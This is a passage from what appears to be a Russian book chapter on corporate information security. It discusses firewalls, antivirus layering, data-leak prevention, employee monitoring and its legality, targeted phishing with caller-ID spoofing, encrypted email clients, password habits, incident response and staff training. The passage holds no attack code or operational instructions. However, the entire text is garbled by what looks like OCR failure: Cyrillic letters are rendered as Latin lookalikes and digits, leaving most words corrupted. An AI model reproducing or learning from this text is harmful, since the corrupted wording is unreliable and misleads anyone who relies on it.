6e30IMacHOCTH U TeM Oojiee HaTU KpaitHUX.

CaMbIMM pacIpoCTpaHeHHbIMM CIIOCO0aMM 3aIIUThI SIBISIIOTCSI MeXK-
ceTeBble 3KpaHbl, obecrneynBawIlye pasjieieHne ceTeit 1 HalpaB/eH-
Hble Ha ITpef0TBpallleHle HapyllleHNi IT0JIb30BaTeNsIMM YCTaHOBIEHHbBIX
nipaBui 6e3oracHocT. CoBpeMeHHbIe MesKceTeBble SKpaHbl OTIMYAIOTCS
yIOOHBIMM TTaHEISIMM YIPaBJIeHMSI M JTOBOJbHO OONbIINM (PYHKIMO-
HaJioM (opraHm3auuyu VPN, MHTerpauum ¢ aHTUMBUPYCAMU U APYTUMU
BO3MOKHOCTSIMM). HaG/I0ma0Tcsl TEHAEHIIMM K peanm3alum MeskceTe-
BbIX 9KpaHOB allapaTHbIMM CpefCTBaMM, UTO OOBSICHSIETCS XKeJlaHeM
CHU3UTDb 3aTPaThl U MOBBICUTDb CTEII€Hb 3aIINUIIEHHOCTH.

OnHOoBpeMeHHO paboTa IpoM3BoaNTeNelt aHTUBMPYCHOTO IMPOrpaMMm-
HOro 0becrieueHMs HarIpaBjieHa Ha obecrieyeHye HeCKOIbKMUX CJI0eB He-
3aBMCHMMbBIX MOMYJ/Iel 3alMThl KOPIIOPATUBHBIX ceTeli. PazpabaTbiBae-
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Mble CHCTeMbI ITPM3BaHbl 3alIMIIATh paboune CTaHLIMM, KOHTPOIMPOBATh
MOYTOBbIE IIJTIO3bI, TPOKCU-CEPBEPBI U APyTyie BO3MOXKHbBIE ITyTU IPO-
HUKHOBEHMSI BpPeJOHOCHBIX ITPOTPaMM.

OIMH U TOT ke BPeOOHOCHBIV (ail MOXKeT OIpenesiTbCS UM He
OIpenessiThbCsl TOWM MJIM MHOWM aHTUBUPYCHOM CUCTEMOI, TO3TOMY 3¢-
(eKTUBHBIM pelieHreM [1Jist 60jiee HaJexKHO 3aIIUThI SIBJISIETCS Tapa-
JIeJIbHOE MCITOb30BaHMe ABYX U Oojiee aHTUBUPYCOB.

IpyruM BessHMEM SIIOXU SIBJISIIOTCSI CUCTEMbI OOHAPYKeHMSI aTak, KO-
TOpbIE CTAHOBSITCSI YACThIO KOMILJIEKCOB obecrieueHus] 6e30MacHOCTH,
KOHTPOJIS AOCTYIIa X CpeACTB 3aluThl MHDOpMaLMK BHYTPU KOpIiopa-
TUBHO ceTu. BHeApsIIOTCS aBTOMAaTU3MpPOBAaHHbIE CUCTEMbI yIIpaBiie-
HMST MTHPOPMAIMOHHOJ 6€30I1aCHOCTHIO0, 00/1aJao1ye 00Ieli KOHCOJIbIO
yIpaBJieHNs ¥ BO3MOKHOCTSIMM pasrpaHUdeHNs JOCTyIIa MeXIY COTPYZ--
HMKaMM COIVIACHO MX (PyHKIIMOHATY.

[Tpou3BoguTENN TIpeAJaraloT pa3HooOpasHbie U Bce H6oee YHUBeEp-
caJibHbIe MHOTO3a/IauHbIe ITPOIYKTHI, yIIPaBJIeH)e KOTOPhIMY TPEOYeT OT
CIIeLIMAIUCTOB CIYKObI 6€30TaCHOCTY OTpee/IeHHbIX HaBbIKOB U Kyp-
COB OOyUeHMusI.

OpHako J11060e YHMUBEpCcaTbHOE IMPOorpaMMHOe o6ecrieueHne COCTOUT
13 HEeCKOJbKMX MOJyJIei-TIPUI0KeHMI, HallpaB/IeHHbIX Ha «3aKpbITHE»
crieruduueckux mpobiaeM MHGOpMaLMOHHOM 6e30macHocTy. OgHM pe-
IIAIOT BOIIPOCHI 60PHOBI CO CIIAMOM ¥ (DUIIMHTIOM, IPyTMe OPUEHTUPO-
BaHbl HA MOHUTOPUHT MHMPACTPYKTYPhI U TTOUCK CETEBBIX YSI3BUMOCTEIA,
TpeTbM KOHTPOJUPYIOT KOPIIOPATUBHYIO MOYTY U YTeuky MHbOpMaLn
yepes3 BHeIIHMe HaKOMUTEN.

Bo/bIIMHCTBO MpeACTaB/JeHHbIX HAa PbIHKe MPOAYKTOB 00JiafaeT He-
00X0IMMBIM HAOOPOM OCHOBHBIX (DYHKILIVIA:

Q KOHTPOJIb 37IeKTPOHHOI MOYTHI, BK/IFOUAs MMChbMa M BJIOKEHMSI, OT-
cblIaeMbIe B TOM UMCyIe uepes Opaysep;

O aHanmM3 1 00MeH COOOIIeHUSIMU B COIIMATBHBIX CETSIX U IPYTUX pe-
cypcax; aHaJIu3 MeCCEeH/KepOB;

O mpocMoTp BceX MOMY/ISPHBIX TPOTOKOJIOB Tepenaun JaHHbIX;

Q (uxkcamus geicTBuMil OIb30BaTe el 10 3aIMCK U UX Iepeaava Ha
HOCHUTeNN MH(pOpPMaLINA.

B kKauecTBe MOJHOTO Cpe[CTBa IJisi 60pbObl C MHIMAEHTAMM MH-
dbopmalmoHHOM 6€30MacHOCTM B KOPIIOPATUBHBIX CETSIX BHEAPSIOTCS
MIPOrpaMMBbl IS KOHTPOJISI BCEX NIEeJCTBUII COTPYOHMKOB 3a paboumm
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KOMITbIOTEPOM, BK/IIOUAOIIMe B ce0st huKcaluio, aHaan3, 6JJOKMpoBaHye
" OIlOBeleHMe 00 OIMacHO VIM HEITPOAYKTUBHOM IesITeIbHOCTH.

[elicTBUTENIBHO, TIPpU OOJIBIION UMCIEHHOCTM IepCcoHalia M pacrpe-
neneHHbIX OQUCHBIX TTOMeIlleHUsIX 6e3 aBTOMaTUYeCKUX KOMILIEKCHbBIX
pellieHuii TPyJHO YTO-IMO0 KOHTPOIMUPOBATh.

[t ob6ecrieueHust MHGOPMALMOHHO 6€3011aCHOCTM Ha ITPeapUsITU-
SIX TIPUMEHSIeTCSI yIIpaBjieHue COObITUSIMU MHOPMALIMOHHOI 6e3o011ac-
HOCTH, BKJIIOUatolee B cebst c6op, aHaAM3 U mpeacTaBieHne MHpopma-
LM OT CeTeBBIX YCTPOVCTB U MPUJIOKeHUII. BHeapeHMe yripaBieHUin
COOBITUSIMU TIPU3BAHO YHUPUIIMPOBATH 0O0PAOOTKY GOJBIIMHCTBA OIe-
panuii Mo MHGOPMAaLIMOHHO 6e30I1acHOCTM.

3 pakTUKY MOKHO 3aK/IIOUNUTh, YTO COTPYAHMUKM (DMHAHCOBBIX KOM-
MaHuit 1 OMepaTopoB CBSI3M, KOTOPble MMEIT AOCTYN K MHpoOpMauumn
aGOHEHTOB U KJIMEHTOB, OUeHb YaCTO CTAHOBSITCS HE MPOCTO UCTOYHU-
KOM yTeuky MHGOpMalui, a yYaCTHMKAMM MPeCTyIHbIX TPYIIl, 3aHU-
MAaIIMXCSI MOLIEHHUYECTBOM.

K BBeleHMIO «TOTaJIbHbBIX» CUCTEM 6€30I11aCHOCTM HEKOTOpbIe KOMIIa-
HUM 10 CUX TTOP OTHOCSITCSI C OCTOPOSKHOCTDIO, ¥ HE6e30CHOBATEIBHO.

Korpa peub maeT o KOHTpOJIe KOPIOPATUBHON 371€KTPOHHO IOYTHI,
MOHUTOpUHTe (PailyioB U OUPEKTOPUIA, 3alyl[eHHbIX ITPOLIeCCOB U MPU-
JIO>KEHUIA, JIOTUPOBAHUM CUCTEMHBIX COOBITHIA, C 3aKOHOIATEIBHO TOY-
KU 3peHus Bce Bpoze Obl MOHSATHO. Ho Korma pasroBop 3aXOOUT O TAKUX
byHKUMSIX cexkeHMs 32 COTPYOHMKAMM, KaK KOHTPOJIb COLIMAIbHBIX Ce-
Tel, OTCJIEXXMBaHMe TTOMCKOBBIX 3alIPOCOB M BBOAVMBIX C KJIaBUATYPbI
3HAUEHUI, CHSITME CKPUHIIOTOB M IMPOCMOTP pabouero CTosa, CheMKMU
C BeO6-KaMephbl U 3aMCh OKPYKeHMUs TTOCPEICTBOM BCTPOEHHOTO B HO-
yTOYK MM KOMITbIOTEP MUKPOGOHA...

MoskHO TpearionaraTh, Kak cedsi UyBCTBYIOT COTPYOHUKM, HO aBTOPY
He 110 cebe faxke OT MepeuncaeHnst Bcex 3TuX (pyHKIMiA.

OpHako, Kak IoKa3bIBaeT cyebHast mpakTuKal, paboromaTesnb BIIpaBe
KOHTPOJIMPOBATDb UCIIOHEHME paBOTHMKOM TPYAOBOI QYHKIVM JTIOOBI-
MM 3aKOHHBIMM CITOCO6aMM, BKJIFOUAs OCYIIIeCTB/IEHMe KOHTPOJIS 3a MC-
MT0JIb30BAaHMEM CITY>KEOHOM TEXHUKYU U KOPTIOPATUBHO ITOYTHI.

Eciu B pesysbTaTe TAKOTO KOHTPOJISI CUCTEMbBI 6€30MacHOCTY OymeT
packpbITa IMyHasi MHGOpMalus COTpyAHMKA KOMIIaHUH, TO, IO MHEHUIO

I AneyuiuMoHHOe orpenenieHe MoCKOBCKOro ropopackoro cyma ot 04.08.2015 mo
nmemny N2 33-24617/15. URL: http://base.garant.ru/136194850/.
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cyzma, BUHOBAT OYZIeT caM COTPYIHMK, ITOCKOJIbKY OH MCITO/Ib3YeT ITPeIo-
CTaBJIeHHbIe paboTomaTeseM CpefCcTBa CBSI3M B JIMUHBIX IEJISIX .

B cucremax 6€30I1aCHOCTYM TaKXke MMPUMEHSIOTCS MPOTpaMMHbIe
CpeicTBa, OCHOBAaHHbIE HA aHaIM3€e MHTepHeT-TpaduKa, UCIoIb30Ba-
HUY TIPUJIOKEHM, allllapaTHBIX pecypcoB, HO BeCbhbMa COMHUTEIbHO MC-
TI0JIb30BaHMe CPECTB IepexBaTa o TUITY KeJIorepoB, XOTsI HEKOTOPbIe
CIeLIVAIUCThI CYUUTAIOT ITO MPUEMIIEMBIM.

Pasiuiie MeXy IpeICcTaB/IeHHbIMY Ha PhIHKE IIPOAYKTaMM, IT0 MHEHMIO
aBTOpa, COCTOMT B HEKOTOPBIX ITOJIb30BATEIbCKMX aCTIeKTaxX, TAKMX KaK Ha-
CTpoJika (pUIBTPOB, OIIOBEIeHNi1, BCTPOEHHbIe aHAIUTIUeCKe (QYHKLIVN.

ABTOp He TeCcTMpOBaJl BOSMOXKHOCTM 00X0/la yCTaHAB/IMBAaeMbIX Ta-
KMMM CUCTEMAMM OTPAaHUYEHMII Y YYTKOCTb OPraHM3yeMOro KOHTPOJIS,
HO, OCHOBBIBAsSICh Ha OITbITE, HE CKJIOHEH OI[€HMBATb BHICOKO CTEIEeHb
CO37aBae€Moi1 MMM 3aLUIeHHOCTH.

[Ipy BHEAPEHUM U UCITIONIb30BAHMUM TaKUX CUCTEM MH(POPMAILMOHHOI]
6e30MacHOCTM HAUMHAET JpeMaTh OIUTeTbHOCTb COTPYIHUKOB Oe3011ac-
HOCTY, KOTOpbI€ pearupyroT TOJbKO Ha COOOIIEHMUS CUCTEMBI.

KoMILIeKCHbIe CHCTeMbI IIPU3BaHbl CBOAUTh K MMHUMYMY PUCKU VIH-
dbopmaioHHOt 6e30macHOCTY U, IO OOoJbIllelt YacTu, HalipaBjieHbl Ha
MpegoTBpallleHNe YTeuky KOHGuUIeHIaabHOoi nHOopMaIin.

[ToMOKMUTENIbHO YePTOi TaKMX CUCTeM 0e30MaCHOCTH SIBJISIIOTCS COOp
" apXMBUPOBaHME TAHHBIX O COOBITUSIX B CETH, EICTBUSIX MTOJIb30BaTe-
JIeii, CoefVHeHUSIX. DTU JaHHbIe OeiCTBUTEIbHO SBJISIIOTCS LIeHHBIMU
M MOTYT OKa3aTh HEOLIEHMMYIO [TOMOIIb IIPY PaccaefOBaHUM UHIUIEHTA
MHGOPMALIMOHHOM 6€30ITacHOCTH.

[t ipenoTBpaleHus GUHAHCOBBIX IOTEPb OT MOIIEHHNYECKNX Heli-
CTBMIA ¥ Kpaxky MHGOpMay Heo6X0IMMO 3aK/IaIbIBaTh 6a30BYIO IO -
TUKY 6€30ITaCHOCTH IIPU IMPOEKTUPOBAHMM MH(GOPMAILMOHHOI CHCTEMBI
MIpeaTpusITUi.

3HavyaIbHO JOJDKHBI IIPeayCMaTPUBAThCS pasrpaHUueHus JOCTyIIa
K JaHHBIM [IJISI TIPeOOTBPAIeHNSs ITPECTYITHbIX AeMCTBUII CO CTOPOHBI
COTPYOHUKOB U BHEJIpEHVE METOIOB MMPPOBAHMUS TaHHbIX.

st o6ecrieueHnst 3aIIUThI MHPOpMaLM JO/KHA ObITh COPMUPOBA-
Ha IOJIUTYKA 0e30MacHOCTY, HaXOAsIIasi CBOe OTpaskeHMe B MHCTPYKIIM-
SIX KaXKIOTO COTPYAHMKA, BCeX 6e3 MCKITIOUeHNs.

! Cnexkka 3a coTpygHuKkamu, wiu Korma cym mpusHaeT BuaeoHabmomeHne B oduce
Y YTeHMe 3JeKTPOHHOI IMOUThI COTPYAHMKOB 3aKOHHbIMM // CIIC «TAPAHT». URL:
http://www.garant.ru/ia/opinion/author/slesarev/704454/.
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Hy>XKHO ITOMHMTB, 4TO IJIaBHO YIPO30i1 CETOAHS SIBJISIIOTCS «LieJleHa-
MpaBJIeHHbIE» METObI KbepaTak, KOTOPbIe MPUMEHSIOTCS ITpaKTuye-
CKM TIpU JIFOOBIX KOMOMHMPOBAHHBIX aTaKax, Ha YTO ObI OHM He ObLIN
HailesieHbl. Cpeyt TaKMX METOJOB — U IleJieHallpaB/ieHHbIVi QUIIMHT,
KOTOPBIV SIBJISIETCSI OMHMUM M3 OCHOBHBIX MHCTPYMEHTOB KMOEPIIIMOHA-
’Ka M OCTaeTCs OIacHO¥ Mmpo6ieMoit MHGOPMaLMOHHOM 6e30ITacHOCTH.

Kak yke paccMaTpuBaJOCh B MPeIbIAYIINX YACTSIX, 37I0YMbIIIJIEHHU-
KaM HMYEro He CTOUT peajn30BaTh JOCTABKY COOOIIEHMS JT0O0MY CO-
TPYAHUKY TOJ] BUIOM COOOIEHMS OT MMEHM TaKKe JII060r0 COTPYIHMKA,
B TOM UMCJIe OT PYKOBOIUTEJIS JIU CITYyKObI 6e3omacHocTy. PaccmaTtpu-
BajlaCh ¥ peajibHasi BO3MOKHOCTb COBepliieHMsI Tee()OHHbIX 3BOHKOB
C MoAMeHO¥ HoMepa 3BOHsIIero abonenTa. Oba aTux MeToja — 1eleHa-
NpaBJieHHbI QUIIMHT 1 TTOAMeHa HOMepa — BMeCTe CO3JIal0T IMpaKkTuye-
CKM YHUBEPCATbHYI0 OTMbBIUKY, KOTOPOI MOKHO BCKPBITD JTIOOYIO TIOJN-
TUKY 6€30MacHOCTY, OCHOBAHHYIO JIMIITb HA aBTOMaTUYECKMX CHUCTEMAX.

B mepuop moAroToBKM K aTake 3JI0yMbIIUIEHHMKM HAUMHAIOT «KOP-
MUTb» CUCTEMY IICeBIOaTaKaMu, 00yJast CUCTEMY pearMpoBaTh JIUIIIb Ha
rosie3Hy10 MHQPOPMAaIMIO KaKk Ha 3J10, JOBOJS 40 TOTO, UTO 3IeKTPOHHbIE
COOOIIEHMST OT TAPTHEPOB, KJIMEHTOB U KOJUIET ITOITaIal0T B HESKEIaTe b-
HbIe COOOIIeHNS.

[IJ1 BBITIOJTHEHMSI CBOEro pabodyero IjiaHa Jir00asi KOMIIAHMST BBIHYK-
IeHa mosyuyath uH@opmannio n3BHe. Korga ¢puabTpaliioHHbIE CUCTEMBbI,
yCTaHOBJIEHHbIE 715 3alUThl KOPIIOPATUBHbBIX MHTEPECOB, HAUMHAIOT 6710-
KMPOBaTh I0Ie3HYI0 MH(OpMAaIMI0, B KOHIIE KOHIIOB, ITPOMCXOOUT COOIA.

Takum c6oeM MOXeT CTaTh MOBeAeHUYeCcKass peakiys COTPYIHMUKOB,
KOTOpbIe 13-3a BeUHBIX TP00jeM ¢ MapaHOUIHO CUCTeMOVi HauMHAIOT
TT0JIb30BaThHCS JIMYHBIMM ITOYTOBBIMM afipecaMu. B kauecTBe c60s1 TaKKe
MOXKET SIBUThCSI OTKAa3 KOMITAaHMM OT (PyIbTparMy COOOIIEeHMIT WiTn, TI0
KpalHeil Mmepe, CHMKEHME YPOBHS pearupoBaHusl.

JI106071 cOoit 6ymeT MOCTVKEHMEM 1Ie/IM, ITOCTaBA€HHOM 3JI0YMBIIII-
JeHHuKaMu. Takum 006pa3oM, JOPOTOCTOSINNIA aBTOMAaTU3VPOBAHHbIN
KOMILJIEKC CITIOKOHO MPOMYCTUT MepCOHaAIN3MPOBAHHbBIN (PUIITMHT.

CucTemMbl KOMIUIEKCHOM 3aIIMUThI 061a7al0T QYHKUIMSIMY MOHUTO-
pMHra MHTepHeT-TpaduKa, HO, KaK yKe YIIOMMHAIOCh B MPeabIayIInX
4acTsIx, e pecypc win ¢aiisl He o6s1ajaeT XapakKTepHbIMU MTPM3HAKa-
MM WIN ellle He BHeCeH B 6a3bl JaHHbBIX, OH ITPEICTAB/ISIET OMACHOCTD.
A MeHHO Takue pecypchbl U (aiiyibl UCIIOMb3YIOTCS TIPU TTePCOHATN3MU-
POBAaHHOM (PUILMHTE.
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He HY>KHO Takske 3a6bIBaTh, UTO IIPY 11€JIEBOV aTake Ha IIpeAIpusITHe
3JIOYMBIIIJIEHHUKY TIIATEIbHO BBIOMPAIOT M aHAIU3UPYIOT COTPYIHM-
KOB. B KakMx-T0 CJIydasix JOCTYIT MOXKHO ITOJTYUUTh, 3aITyAPUB MO3T'Y HO-
BEHbKOMY COTPYIHMKY KOMITAHUM, TPEICTaBUBIINCH CUCTEMHBIM aIMM-
HUCTPATOPOM WJIM COTPYIHMKOM CJTy>KObI 6€30TaCHOCTY MTOCPEACTBOM
5JIEKTPOHHOI MMePenucKu Wiu 1o TeaedoHy.

[IporpaMMHO-anIapaTHble KOMIUIEKCHI 3aCAy>KMBAIOT BHUMAaHMUS
M OOJKHBI BHEIPSITHCS C LIeJIbI0 06ecredeHns: KOMMePUEeCKOi TailHbI,
3aIIUTHI OT KMbepaTak, a Takke Ha CJIydail BOSHMKHOBEHMSI KAKOTO-JIN -
60 MHIMIeHTa MHGOPMALIMOHHOM 6€30I1aCHOCTY. AHAIN3 XpaHSIIencs
B UX apxXuBax (Jior-(aiiiax 1 xXypHanax) MHGopMalyu Io3BoIsieT 3Ha-
YUTENBHO ObICTpee U 3PheKTUBHEE TPOBOAUTH PACC/IEI0OBAHMSI.

[Ipy 3TOM He CTOUT 3a0bIBATh O TOM, UTO BCE CYLIECTBYIOIINE TEXHO-
JIOTUM He CMOTYT 3alIUTUTH OT lieJIeHAIIpaBJIeHHOM aTaKy, eC/iyu Tepco-
HaJl BCeli KOMITaHUM K Hell He TOTOB. [loaToMy reperigeM K paccmMoTpe-
HUIO IPYTUX [AEeMCTBEHHBIX CITOCOO0B COXPAHUTDb MOKOM 1 (MHAHCOBYIO
CTabWIBbHOCTb.

4.4. [ewesble npaBuia AOPOroro CroKOMCTBUSA.

CoBeTbl No 3awmre MHGOpMauum

3awuma NuYHbIX OAHHbIX

3alUTUTDb IMUHBIE TaHHbIe MOXKHO ¥ 06€3 1CIT0Tb30BaHMSI JOPOTOCTOSIIINX
CepBICOB ¥ MPOTrPaMMHbIX MPOAYKTOB. [j1s1 paboThbl ¢ KOHGMUAEHIIVAb-
HBIMM JAHHBIMM MOYXHO MCII0/Ib30BaTh OTAEIbHbIV KOMIIbIOTED, HAIPy-
Mep HOYTOYK, Aepyka Mpyu 3TOM Bce KpUTUUecKye JaHHble Ha BHEIIHEM
HocuTene uHbopmaluu, He 3abbIBas JejaTh €ro MOJHYI pe3epBHYIO
kornuio. Hocurenb nHpopmanum, 6e3yCIOBHO, JOKEH OBITh 3allMILEeH
mdpoBaHueM, 1 Tiepe[i ero MoAK/I0UeHeM He06X0MO ITPON3BOIUTh
pa36I0KMPOBKY AOCTYyMA K MHGOpMAaIUM, pacioio)KeHHOM Ha HEM.

I[Tpu pabote ¢ nHOpMalyeii, CocTaBsIONIel 0COOYIO LIeHHOCTb, HYX-
HO BbIPab0TaTh B cebe MPUBBIUKY OTKIIOYATHCS OT J1t0007 TeTeKOMMYHM -
KaIl[MMIOHHOW CeTU — Kak OT MIHTepHeTa, Tak M OT JioKasbHOM miu Wi-Fi.
OTO HenaeTcss OUeHb IIPOCTO, HO MPU 3TOM HEOObIYaifHO BBICOKO IOJ-
HMMaeT CTeleHb 3alUIeHHOCT MHbOpMaLun.

CambIiM 3(pbeKTUBHBIM 1 COBepIlIeHHO 6eCIiyIaTHbIM CIIOCOO0M 130a-
BUTBHCS OT pUcKa (PUIIMHT-aTaKy, HAT[paBJIeHHOM Ha XullleHue apossi
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OT YYETHOI 3aIMCy 3JeKTPOHHOTO TOUTOBOIO SIINKa, OyIeT peleHne
TepeiiTy 1eJIMKOM U ITOJTHOCThIO Ha paboTy C 3JIeKTPOHHOI ITOYTO I10-
CpeACTBOM IMOYTOBOTO K/IMEHTA.

[TOYTOBBIN KAMEHT — 3TO KOMIIbIOTEpHAsl MporpamMmma, KoTopasl Io-
3BOJISIET pabOTaTh C JTI000V YUETHOV 3aIMChI0 3JIEKTPOHHOJ MOUTHI 6e3
MCIONb30BaHMs Opay3epa.

[IpaBUIbHO HACTPOEHHbIE MOYTOBbIE KIMEHTbl He OYAYT OCTaBISAThb
MycbMa Ha TTOUYTOBBIX CepBepax, IO3TOMY Aaxke IIpU XUILEHMUM TTapoJieii
OT YYeTHOI 3amucy 3JIOyMbIIIJIEHHMKM He ToJydyaT AOCTYyIa KO Bceii
nepercke.

Bo6aBOK MOYTOBbIN KJAMEHT ITO3BOJISIET HACTPOUTD UM pPoBaHMe 1e-
pernucKky, YTO OKOHYATeIbHO CBefeT Ha HeT BCe MOIbITKM BHEIPUTHCS
B II€PENMCKY, Jaske eciy Iapoib OyaeT KaKMM-JIM00 06pa3oM ITOTyJYeH.

Peanu3oBaTh TaKyl pabOTy MOXXHO C MCIIOJIb30BaHMEM OecIuiaT-
HbIX MMpuiokeHui, Takux Kak Thunderbird, Gnu Privacy Guard (GPG)
n Enigmail gnas omepaumonubix cuctem MS, Claws Mail gas Linux,
Sylpheed - gnst Mac OS X, GNU Linux 1 MS, K9 Mail n OpenKeychain -
st Android u npyrux. PacrnuchiBaTh B 3TOM KHUTe YCTAaHOBKY M Ha-
CTPOJViKy HeT cMbicyia, B CeTu JOBOJILHO MHOI'O MPOCTBIX MOIIArOBbIX
MHCTPYKIMIA ¢ 06umnimem (ororpaduii M MOSICHEHMIA.

[ToMMMO 3JIEKTPOHHOJ IOYTHI, CEIOIHSI CaMbIii OOBIUYHBIN UeIOBEK
MOSKET MMeTh MHOXKECTBO Pa3HOOOPa3HbIX aKKAyYHTOB: COIMaIbHbIE
CeTH, OHJIAMH-UTPBI, 6;10TY 1 GOPYMBI, TMUHbIE KAOMHETHI B MHTEPHET-
MarasuHax U rpoyee.

st 3amuThl MHQOpPMALMKM OT HECAaHKIMOHMPOBAHHOTO OOCTyIa
HeoOXoaMMO BbrIpaboTaTh B cebe elle OJHY ITOJIE3HYIO IMPUBBIUKY —
Co37aBaTh pa3MuHble aposu IJis1 KasKI0ro akkayHTa, Tapoib MOXeT
OT/INYATHCS KJIIOUYEBBIM CJIOBOM WM HUGPOI, HO OBITh IPYTUM, 3TO
BaXKHO.

Ecin ke peub MAeT He O JIMYHBbIX TaHHbBIX OTJE/JbHO B3SITOTO YeoBe-
Ka U ero JomalllHeM KOMIIbIOTepe, a 0 KOPIIOpaTMUBHbBIX MHTepecax, Bce
CTAHOBUTCS rOpa3zo Becesiee.

3awjuma KopnopamuseHoli uHgopmauuu

HauvaTp pasroBop o 3amniure nHGopMalum caeqoBaso O6bl ¢ HATIOMMUHA-
HMS O CYILeCTBOBAHMUM HEKOTOPBIX (PyHIAMEHTa/IbHBIX TEOPETUUECKUX
OCHOB, PO KOTOpPbIe MHOTAA 3a0bIBaioT. CyliecTByeT, K mpumepy, 'OCT
P NCO/MB3K 27002-2012, yrBepxkaeHHbI PefiepabHbIM areHTCTBOM I10
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TeXHUUECKOMY peryiMpoBaHUIO M MeTPOJIIOTUM, UMeHyeMblii «MeTomabl
" cpencTBa obecrieueHus 6e3omacHocTy. CBOJ HOPM U TMPaBUI MEHE[I -
>kKMeHTa MHMOOPMAaIMOHHOW 6€30acHOCT».

Takue JOKYMEHTBI HY’KHO UMTATh, KOHCIIEKTUPYS ¥, KaK COBETOBAJI
aBTOpPY €ero IpernojaBaTesb [0 TEOPUM BEepPOSITHOCTEN M MaTeMaTuye-
CKOJi CTaTUCTUKM, TIOA, KPy>keuKy Kode ¢ KoHbsiukoM. He crieiiia u B yzo-
BOJILCTBME. DTa KjIae3b TeOpUM NO/IKHA YCBAaMBAThCS ITOCTEIIEHHO.

ABTOD 3Ke TiepexofuT K 60Jiee TPOCThIM MTPAKTUUYECKUM COBETAM, KO-
TOpble MOKHO yCBauBaTh 6e3 Ipuema JeKapCTB.

4.4.1. Peakyus Ha UHUUOEHMbI

He HY’KHO OTMaxuBaTbCs Aaxke OT MaJIeMIIMX UHIMIEHTOB MHbOpMa-
IIMOHHOW 6€30MaCcHOCTY, 3TO MOTYT ObITh IMPOBEPKM TIepel, aTaKoi Win
HEeYKJIIOXK1e TIOTBITKM COTPYAHMUKOB OCYIIECTBUTDH IPOTUBOIIPABHbIE
neiicTBusi. CTpaHHOe TTOBeIeHNe ITPOrpaMMHOT0 0becIieueHs Ui coon
B paboTe ceTeBOTO 000PYIOBaHMS, CPEICTB CBSI3M M BBIUMCIUTEIHHOM
TEXHUKM MOTYT ObITh ITOOOUHBIMM IEMCTBUSIMY 3/TOYMbBIIIJIEHHUKOB MU
MAaCKMPOBKOJ y>Ke COBEPIIMBIIMXCS MaxMHALUINA.

CosmaHue pa3BepHYTOM CUCTEMbl MOHUTOPUMHIA, aHA/IM3A U CBOEBPe-
MEHHOT'O pearMpoBaHus Ha Jito6ble cO0M 1 HeIoMaaKu, HarpyuMep mpo-
M3BOJIbHBIE TTIepe3arpy3Ku, MO3BOIUT M306eXKaTh OOIBILIOTO YMCIIA CETTbIX
arak. BHegpeHue aBTOMaTUUECKUX CUCTEM MOHUTOPMHTA M aHa/IM3a I10-
3BOJISIET BBISIBJISITH MHOTO T10I€3HBIX MHAMKATOPOB HAapYyIIeHUs pexXuMa
OXpaHbl KOMITbIOTEPHO MHDOpMaLINA.

OT mpoCThIX aTaK MOTYT CacaTh aBTOMAaTUYECKMEe KOMILIEKChI, B KO-
TOpbI€ MHOTME KPYITHbIe KOMITAaHMM Y3Ke BKJIa[bIBAIOT HEMAJIO JEeHEXKHBIX
cpenctB. Takye KOMIUIEKCHI CITOCOOHBI aHAIM3MPOBATh BXOSIIIE CO00-
IIIeHMS] Ha U3BEeCTHbIE BPeJOHOCHBIE CChIIKU U BJIOXKEHMS 3JIeKTPOHHOI
noutsl. Ilepes 1e/ieHanpaBIeHHbIMM aTaKaMy M MepCOHAJIM3UPOBaAH-
HbIM (DUIITMHTOM, YBbI, OHM TTPAKTUUECKU O€CCUITbHBI.

Ecny ucnonb3oBaTh Takue CUCTEMbI ITPAMOTHO, TO MOXHO AeTeK-
TUPOBATh HavyaJIbHbIe 3TAIlbl TOTOBSILErOCS BTOPKEHMS, OTIPeAe/IUTh
noelicTBUS, HAIIpaBJieHHble Ha M3y4yeHMe CUCTeMbl MHOOPMAaIMOHHOI
3alIUTHI.

He HY>KHO 3a0bIBaTh, YTO BCE YCTAHOBJIEHHbBIE 3aIIPETHI ¥ OTpaHMUe-
HUSI He CIIacyT OT KJIOHMPOBAHMST HOCUTENST MHGOpMaluu 6e3 yuyacTus
OInepanyoOHHONM CUCTEMBI.
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4.4.2. O6y4eHue 8 popme y4eHuil, NpUbNUXEHHbIX K peaslbHOCMu

K coskayieH110, BO MHOTMX KOMITAHMSIX YaCTO HEIOOL€HMBAIOT 3HAaUeHMe
yejioBeveckoro ¢akropa B BOIpocax 6e3ormacHOCTH. Jlaske B TOM CITy-
yae, Koraa nHGopMuUpoBaHye IepcoHasa 06 MHGOPMAIMOHHBIX YTPO3ax
MPU3HAETCsT afMMHMCTPALMell HeoOX0AMbIM, BbIOMpaioTCs HeaddheK-
TUBHbIE METO/IbI.

JIJ1s1 321U ThI OT KMOepaTak OpraHu3aIu JOKHBI BECTM ITOCTOSTHHBI
KypC «MOJIOAOTO 60i111a» MHGOPMUPOBAHHOCTY U TIOATOTOBKM ITepCOHA-
JIa TI0 BOITPOCaM KOMITbIOTepHOI 6e3omacHocTy. [IpoBOAUTh 00ydYeHMe
COTPYIOHMKOB, Pa3bsICHSITh MpaBwia Myonukanuu naGopMmanmu B co-
[IMATbHBIX CETSX, IMUHBIX MJIM KOPIOPATUBHBIX JAHHBIX.

TexHosmorum camu o cebe He MOTYT TapaHTUPOBATD MTOHYIO 3aIIUTY
nHdopmanyn. I[IoaToMy OUeHb BasKHO, YTOObI 3HAHME U COOIIOIeHME
Mep MH(pOPMaIMOHHOM 6€30TaCHOCTY CTaI IJIs1 COTPYAHUKOB YaCTbhIO
CTpaTeruy 3amuThbl KOMITAaHUMN.

B opranmusanusix Heo6X0IIMO BBOIUTH PerJIaMeHT pearupoBaHms, KO-
TOPBIN OyIeT BKIYATh MHCTPYKIUM IJIs1 TToib30BaTeneit. COTpymHUKA
IOJIKHBI OBITh OPMEHTMPOBAHbI HAa paclio3HaBaHMe HEIITaTHBIX CUTYa-
LM ¥ TIoJavy CUTHAJIOB clelnuanucraM MHopMalMoHHOM 6e3omac-
HOCTM.

O6yueHne u MHOOPMUPOBAHNE COTPYIHMUKOB OpraHM3aIuii JODKHO
“MeTh He (OpMaJIbHO-TAJIOUHBINI XapaKkTep, KaK 3TO IMPUHSITO ITPOBO-
IUTh. J[IOJKHA TOCTUTATHCS TIOCTaB/IeHHAS 11eJTh.

Inist ipoBepky 3¢ PEeKTUBHOCTY 00yUYeHUSI COTPYIHUKOB U C ILI€/IbIO
MIPOOYKAEeHMS APeMIIIoNIel OAUTEeTbHOCTY HeOOX0AMMO IIPOBOAUTH
